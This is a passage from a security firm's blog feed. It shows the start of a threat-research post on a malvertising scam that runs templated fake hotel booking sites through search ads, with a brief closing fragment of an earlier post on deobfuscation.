fingerprinting techniques and exploits used.</p><p>I hope this post is helpful in your deobfuscation adventures. For any questions, you can reach me on any of the following:</p><p>Email: gregory@confiant.com<br>Mastodon: @bozoslivehere@ioc.exchange<br>Matrix: @bozoslivehere:matrix.org</p>]]></content:encoded></item><item><title><![CDATA[BadTrip: A chain of fake travel sites abuses search ads to commit fraud and credential theft]]></title><description><![CDATA[Brand impersonation and "cloaked" call-centers scale the scam up to more than 50,000 people. Scammers raking in upwards of $800 per victim.]]></description><link>https://blog.confiant.com/p/badtrip-a-chain-of-fake-travel-sites-abuses-search-ads-to-commit-fraud-and-credential-theft-2d794ad90fb7</link><guid isPermaLink="false">https://blog.confiant.com/p/badtrip-a-chain-of-fake-travel-sites-abuses-search-ads-to-commit-fraud-and-credential-theft-2d794ad90fb7</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Wed, 17 May 2023 18:13:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!GT8e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GT8e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GT8e!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 424w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 848w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GT8e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png" width="1000" height="1000" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1000,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GT8e!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 424w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 848w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!GT8e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc388dafc-94b1-4eff-89fd-dfb85a73b21f_1000x1000.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Originally written by <strong>Daniel Fonseca Yarochewsky</strong></em></p><p>Successful malvertising campaigns have two key components: cloaking and churn. Normal security efforts will look at a few websites coming from persuasive and commercial ads and conclude they&#8217;re probably legit businesses. Scammers exploit this fundamental flaw to scale up their campaigns all while managing to stay undercover among the sea of new domains that might look unrelated at first sight. However, like everything on the Internet, scale is the most expensive cost of every initiative. In code, comfortable scalability costs pattern matching, which in turn costs a scammer its most precious asset: its facade.</p><p>I&#8217;ll explain. Here&#8217;s a seemingly <a href="https://gist.githubusercontent.com/dyarochewsky/69e391072565597a521af92beee7a8c6/raw/4923b8451789f9ab0008ccf28234bbd6a7c59230/gistfile1.txt">dumb line of code</a>:</p><p>When combined with the string &#8220;Copyright&#8221;, it produces the all-too-familiar copyright at the bottom of every website with the current year: &#8220;<em>Copyright 2023</em>&#8221; is what it reads today.</p><p>When combined with the string &#8220;Copyright&#8221;, it produces the all-too-familiar copyright at the bottom of every website with the current year: &#8220;<em>Copyright 2023</em>&#8221; is what it reads today.</p><p>Granted, there&#8217;s nothing too weird in having that on your landing page. But for us, it provides a key piece of intelligence that informs that this website is probably templated, i.e. it was made from a skeleton that ought to be replaced to fit someone&#8217;s specific needs. Many blogs, single-page business sites, and other small enterprises build sites that come from templates. In malvertising, combining template signals with other techniques reveals <em>scale</em>, and when ten websites, each of a different hotel, all look the same, it comes off as fraud.</p><p>And in fact, that&#8217;s how we came across this attacker. The ads themselves look oddly vague &#8212; &#8220;call for reservations&#8221;, &#8220;fast reservations&#8221;. No mentioning of brands or purpose. What am I reserving?</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!V_QL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!V_QL!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 424w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 848w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 1272w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!V_QL!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif" width="434" height="120" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:120,&quot;width&quot;:434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!V_QL!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 424w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 848w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 1272w, https://substackcdn.com/image/fetch/$s_!V_QL!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4ae1602d-21f0-43c8-abe6-02339e939d60_434x120.gif 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qljl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qljl!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 424w, https://substackcdn.com/image/fetch/$s_!qljl!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 848w, https://substackcdn.com/image/fetch/$s_!qljl!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 1272w, https://substackcdn.com/image/fetch/$s_!qljl!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qljl!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif" width="434" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!qljl!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 424w, https://substackcdn.com/image/fetch/$s_!qljl!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 848w, https://substackcdn.com/image/fetch/$s_!qljl!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 1272w, https://substackcdn.com/image/fetch/$s_!qljl!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbd21e0-0b21-4c6c-9242-d27369e16d10_434x113.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>When engaged, victims are taken to templated hotel landing pages:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VPr3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VPr3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 424w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 848w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 1272w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VPr3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png" width="875" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:438,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!VPr3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 424w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 848w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 1272w, https://substackcdn.com/image/fetch/$s_!VPr3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4776c8c-5d5d-4330-96c0-c5ab058a3197_875x438.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>fake hotel landing page</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wGc3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wGc3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 424w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 848w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 1272w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wGc3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png" width="875" height="436" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/caacd37e-7f65-43c1-8635-6d8c96785551_875x436.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:436,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wGc3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 424w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 848w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 1272w, https://substackcdn.com/image/fetch/$s_!wGc3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaacd37e-7f65-43c1-8635-6d8c96785551_875x436.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>fake hotel landing page</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4RxM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4RxM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 424w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 848w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 1272w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4RxM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png" width="875" height="442" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:442,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4RxM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 424w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 848w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 1272w, https://substackcdn.com/image/fetch/$s_!4RxM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F507e5d66-1e8a-4068-9a91-b086d617c4d5_875x442.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 